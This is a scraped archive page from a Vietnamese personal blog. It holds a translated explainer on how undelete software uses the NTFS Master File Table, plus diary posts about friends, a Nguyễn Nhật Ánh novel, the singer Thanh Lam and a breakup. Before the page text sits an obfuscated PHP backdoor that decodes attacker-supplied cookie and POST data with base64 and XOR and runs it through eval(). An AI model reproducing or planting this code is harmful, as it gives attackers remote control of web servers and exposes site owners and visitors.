$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> April 2009 – Page 3 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Month: April 2009 (page 3 of 3)

Các phần mềm Undelete hoạt động thế nào?

Tính cũng khá bất cẩn, hay SHIFT-DEL nhiều thứ quan trọng, toàn phải dùng phần mềm Undelete để phục hồi lại. Tình cờ dịch bài về cách hoạt động của phần mềm Undelete, quăng lên đây để chơi.

How does this magic work? Undelete utilities such as FreeUndelete take advantage of WinXP’s file system. A file system is the method used by a computer to manage data stored on hard drives and removable storage. WinXP uses NTFS (NT file system), and older operating systems use FAT (file allocation table).

When you create a file or directory, Windows determines the size of the file and looks for space on your hard drive to store the file. It does so by examining the MFT (Master File Table). The MFT contains a record for each file on the hard drive and any free space available on the hard drive. Think of it as a Table of Contents for your computer.

When you delete a file, either by emptying the Recycle Bin or using an MS-DOS command, the MFT is modified by NTFS. NTFS will “mark” the file as deleted by setting a flag in the MFT file record, signifying that the previously used space on the hard drive can be used for storage. Your original data is still there on the hard drive but hidden from Windows.

As you fill up your drive, eventually every sector will have had data written to it. The next time you save a file, Windows will consult the MFT and select a sector that is marked free based on when the flag was modified. This is usually done in a first-in-first-out process.

When you run an undelete utility such as FreeUndelete, the utility typically scans the MFT looking for the aforementioned flags. It then looks where these flags point on your hard drive and retrieves the names of the files, as well as their creation date and size. At this point, it’s trivial for the utility to recover your files.

This brings us back to why we recommend that you minimize the use of your computer until you’ve recovered your directories. If you were to save a file or even use a program that creates temporary files, Windows might overwrite the sectors containing your valuable data.

Đoạn dịch (chưa edit)

Thế mọi việc diễn ra như thế nào? Các tiện ích phục hồi các tập tin đã xoá như FreeUndelete tận dụng ưu điểm của hệ thống tập tin trong WinXP. 1 hệ thống tập tin là 1 phương thức được sử dụng bởi 1 máy tính để quản lí dữ liệu lưu trên những ổ đĩa cứng và các thiết bị có thể tháo ra được. WinXP sử dụng NTFS (NT file system – hệ thống tập tin NT), và các hệ điều hành cũ hơn sử dụng FAT (file allocation table – bảng cấp phát tập tin).

Khi bạn tạo 1 tập tin hay 1 thư mục, Windows quyết định kích thước của tập tin và tìm khoảng trống trên ổ đĩa cứng của bạn để lưu tập tin. Nó làm thế bằng cách kiểm tra MFT (Master File Table – bảng quản lí tập tin). MFT chứa 1 bản lưu cho mỗi tập tin trên ổ đĩa cứng và bất cứ khoảng trống nào có trên đĩa cứng của bạn. Nghĩ về nó như là phần Mục Lục mà giành cho máy vi tính.

Khi bạn xoá 1 tập tin, bằng cách xoá trắng Recycle Bin hay sử dụng 1 lệnh trong MS-DOS, MFT được hiệu chỉnh bởi NTFS. NTFS sẽ “đánh dấu” tập tin là đã bị xoá bằng cách thiết lập 1 cờ trong bản lưu tập tin MFT, báo hiệu rằng cái khoảng trống được sử dụng trên ổ đĩa cứng trước đây là giành để lưu trữ. Dữ liệu nguyên gốc của bạn vẫn ở đó trên ổ đĩa cứng của bạn nhưng bị ẩn đi không cho Windows nhìn thấy.

Khi bạn lấp đầy ổ đĩa của bạn, rốt lại tất cả sector sẽ có dữ liệu ghi trên nó. Vào lần kế tiếp bạn lưu 1 tập tin, Windows sẽ tra cứu MFT và chọn 1 sector được đánh dấu là trống dựa trên thời điểm cờ được chỉnh sửa. Điều này thường được thực hiện trong quá trình first-in-first-out (vào đầu tiên, ra cũng đầu tiên).

Khi bạn chạy 1 tiện ích phục hồi tập tin như FreeUndelete, tiện ích nhìn chung sẽ quét MFT để tìm các cờ đã nói ở trên. Sau đấy nó sẽ tìm các điểm cờ này trên ổ đĩa cứng của bạn và khôi phục tên của các tập tin, cũng như thời gian và kích thước ban đầu của chúng. Đây là thời điểm quan trọng cho ứng dụng phục hồi các tập tin của bạn.

Điều này lí giải tại sao chúng tôi đề nghị bạn giảm tới mức tối đa việc sử dụng máy cho tới khi bạn đã phục hồi xong các thư mục của bạn. Nếu bạn lưu 1 tập tin hay thậm chí sử dụng 1 chương trình tạo ra các tập tin tạm, Windows có thể viết đè lên những phần chứa dữ liệu đáng giá của bạn.

.

Giá đâu đó có người đợi tôi

(hay còn gọi là Nhật kí ngày trước ngày Giỗ Tổ)

Tối nay, anh ngồi cafe Ta-Kê cùng với Cờ Lau, Bảo Bảo, GS và Shea.

Nhìn chung bọn anh trò chuyện rất vui vẻ trong bầu không khí vô cùng thân mật, theo đúng tinh thần hữu nghị, đoàn kết và phát triển bền vững giữa các dân tộc. Các chủ đề được mang ra bàn luận thì vô thiên lủng, từ những điều nho nhỏ giản đơn kiểu tình yêu và tình dục, chính trị, văn hoá, văn minh nhân loại đến các lĩnh vực cao siêu như thần thoại Hy Lạp, nhân sinh quan.

Tình cờ, GS hỏi một câu:

Điều gì mày sẽ nhớ nhất khi rời Việt Nam?

Các bạn anh lần lượt đưa ra câu trả lời khác nhau. Anh ứ phải là cái máy ghi âm để giờ phát lại lời bọn nó, phỏng ạ! Với trong đây anh là nhân vật chính, thì bàn về bọn nó nhiều làm gì *cười duyên*. Riêng anh, anh chợt nghĩ đến một cuốn sách mà hồi đó GS mua tặng (bạn) gái: Giá đâu đó có người đợi tôi

Cách đây một tháng, anh biết anh sẽ nhớ về người mà anh cho là sẽ đợi anh.

Hôm nay, nụ cười gượng của anh không phải là một câu trả lời đích thực.

Nếu tình cờ các cô các chú nào vào đây thấy post này, thì đừng lên giọng tuyên huấn táng cho anh một bài diễn văn tràng giang đại hải nào là tình yêu tổ quốc, yêu quê hương, yêu những đồng lúa xanh rì bát ngát, yêu cánh cò bay sải cánh, yêu truyền thống dân tộc cha ông…

Ai cũng cần thứ gì để nhớ, để quay về. Người ta không thể sống mãi với lí tưởng, người ta cần sống với một hình ảnh, một mục tiêu cụ thể nào đó.

Anh đang băn khoăn, nếu ngày mai (tỉ dụ thế) anh có đi nước ngoài (du học, qua quét đường…), thì anh sẽ bám víu vào thứ gì để giữ cái sự thôi thúc anh quay trở về đất nước anh…

… khi ở đây, đã không còn ai đợi anh nữa rồi.

Em ơi Hà Nội Phố, ta còn em…

B.l.u.e.

Còn chút gì để nhớ…

Tôi đọc hầu như hết toàn bộ truyện của Nguyễn Nhật Ánh, Trong đó tôi ấn tượng nhất là “Mắt biếc” và “Còn chút gì để nhớ”.

Ở bài này, tôi chỉ xét riêng về “Còn chút gì để nhớ”. Theo tôi đây là một truyện ở mức ổn, không xuất sắc lắm, cũng không nhạt nhoà đến mức dễ quên. Nghĩa là cái mô-típ này đã từng thấy rất nhiều trong tiểu thuyết, truyện ngắn… từ bọn Âu nhợn sang tới Châu Á chúng ta. Sở dĩ, tôi nhớ, rất nhớ truyện này chỉ bởi vì vài đoạn sau:

Chỉ trong những giấc mơ, tôi hoàn toàn bất lực trong việc ngăn cản sự đùa cợt tàn nhẫn của Quỳnh. Cô bé hiện đến và cũng y như ngày xưa, kêu tôi chở đi học trên những con đường quen thuộc, rồi lại nhõng nhẽo bắt tôi trèo lên hái hoa trên cây sứ năm nào.

Bây giờ tôi chỉ muốn nói với Quỳnh một điều : Hãy tha cho anh, đừng trở về đêm đêm bắt anh dắt em đi chơi nữa!

Nếu thay cái tên Quỳnh ở trên bằng một cái tên khác, thì chữ tôi được dùng ở trên đích thị là tôi.

Còn một chút gì, để nhớ, để quên…

Viết cho lại một đêm giấc mộng tràn về…

B.l.u.e
.

Thanh Lam lúc nửa đêm về sáng

Giờ đang là 2h sáng.

Nếu như bình thường thì giờ này anh đang nghe Rock, không những thế, anh còn biết chắc chắn là anh đang nghe đi nghe lại bài The Misery của Sonata Arctica.

Hôm nay cũng là một ngày bình thường, chỉ khác là anh đang nghe Thanh Lam.

Anh nghe nhạc trữ tình cũng nhiều. Ai thích nghe và theo dõi diễn biến âm nhạc Việt Nam vài năm qua, thì chắc hẳn phải thừa nhận rằng Thanh Lam là một trong những ca sĩ nữ xuất sắc nhất trong làng nhạc Việt Nam đương đại, một trong không ít người có thể gọi là diva.

Tuy nhiên, anh biết đến Thanh Lam lần đầu tiên không từ nhạc của cô, mà từ tai tiếng của cô.

Ngày ấy, dư luận xôn xao bàn tán khi nghe album nhạc Trịnh “phá cách” của cô. Nói là xôn xao bàn tán cho nó thời sự thôi, chứ thật ra là người ta chê không ngớt. Anh vẫn còn nhớ có một lão trên một 4rum cũng khá lớn, đã mạnh mồm gọi cô là “hiếp dâm nhạc Trịnh”.

Topic đó anh cũng đọc, nhưng đọc xong không có ấn tượng gì cả, thậm chí anh quên luôn cả cái tên Thanh Lam – tài năng được khen ngợi lẫn những lời chê bai nhắm vào cô.

Tầm vài tháng trở lại đây, anh bắt đầu nghe Thanh Lam.

Tầm vài tuần trở lại đây, anh rất thường nghe Thanh Lam.

Anh nhận ra giọng hát của Thanh Lam đối với anh chỉ có thể mô tả bằng một cụm từ “người đàn bà hát”. Giọng của cô tràn ngập những tâm tư đặc trưng của đàn bà – phụ nữ, những tâm tư mà có lẽ cả đời này cánh đàn ông (kể cả người thông thái như anh) cũng không thể hiểu.

Người ta nói trong 4 diva của làng nhạc Việt, thì Thanh Lam có cá tính mạnh nhất. Nhưng dù mạnh mẽ thế nào thì phải chăng bản tính đàn bà sinh ra là đã yếu đuối. Trong chuyện tình cảm càng rõ nhất, nghe Thanh Lam hát các bài tình ca, cứ có cảm giác đó là tâm trạng của một người đàn bà đích thực, đầy khắc khoải, đầy nghẹn ngào…

Dĩ nhiên, anh nhắc lại, đây chỉ là cảm giác của anh.

Có nghe Thanh Lam hát “Lối cũ ta về”, có nghe cái giọng nghèn nghẹn khi cô hát tới cụm từ “nỡ bỏ em đi mãi” mới thấy rùng mình. Nó thật quá

Người yêu ơi, nay anh đã bỏ ra đi. Sao anh nỡ bỏ em đi mãi

hay trong bài “Chia tay hoàng hôn”

Em phải về thôi, xa anh thôi…

Anh hiểu rằng, trong chuyện tình cảm, không nên đem tư tưởng, suy nghĩ của mình mà áp đặt lên phụ nữ. Bởi chung qui, ta chẳng thể hiểu nổi họ.

Anh vẫn không thể nào giận, hận hay ghét người anh từng yêu. Do anh yếu đuối, hay do anh cảm thông những khó khăn, những trăn trở của cô ấy. Anh cũng không biết. Anh không nhận là mình yếu đuối đâu, vậy chọn vế sau nhé.

Thôi cũng muộn rồi, anh đi ngủ vậy, các tình yêu rảnh thì nghe thử album Lam Xưa xem sao nhé Thanh Lam – Lam Xưa

Lần sau nếu rảnh chắc sẽ viết về tâm trạng của “người đàn bà viết” Thương Nguyệt với Thất Dạ Tuyết…

B.l.u.e.

Lời đầu tiên

Thế là tôi lại quyết định viết.

Sau những gì đã xảy ra, sau khi niềm tin của tôi sụp đổ chỉ trong vòng hơn một tuần ngắn ngủi, tôi lại ngồi đây và viết.

Bạn có thể đang thắc mắc rằng tôi đã ổn chưa? Vẫn hoàn toàn chưa, các bạn của tôi à. Con người chứ có phải cái HDD đâu mà khi cần là có thể Shift – Delete, phỏng ạ!

Tôi đã tưởng tôi không còn có thể viết nữa. Dĩ nhiên, đây không phải là vấn đề cầm cây bút lên và viết những dòng nhăng cuội và nhảm nhí, vô ích, tỉ dụ như làm bài thi cuối kì chẳng hạn. Tôi nói “viết” ở đây, là viết thật về những tâm sự của tôi.

Tôi không có bạn thân. Rất đau đớn, nhưng phải thừa nhận là thế. Vì vậy, ngoài cách viết ra hết những tâm sự của mình, tôi không còn có thể làm gì khác. Có thể là tôi vốn mong manh và yếu đuối, nên hay tin lời bọn lang băm đồn thổi là cứ để tâm sự chất chồng lâu quá sẽ bị bệnh down mất.

Vì thế, tôi quyết định rằng mình cần viết.

Viết để làm vơi bớt nỗi buồn.

Viết để mình hiểu chính mình.

Viết để trút bầu tâm sự.

Viết để gái nhìn vào và cảm nhận mình là một con người thật nhạy cảm (Ôi! Anh ấy thật là một con người đầy tình cảm – tôi biết các gái sẽ nói câu này).

Vầng, cứu cánh biện minh cho phương tiện, hay cái vớ vẩn gì tương tự thế. Dù sao cũng chỉ là muốn viết mà thôi.

Đấy là lí do ra đời cái blog này.

Còn lí do tại sao tôi đặt domain là www.xanhduong.com, chỉ vì tôi luôn muốn tôi là màu Xanh Dương – màu như người yêu cũ của tôi từng nói: luôn nhẹ nhàng và tinh tế.

Mọi sự có thể xảy ra, duy chỉ có bản thân tôi nhất quyết không được thay đổi.

Tôi mãi là màu xanh dương…

B.l.u.e.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.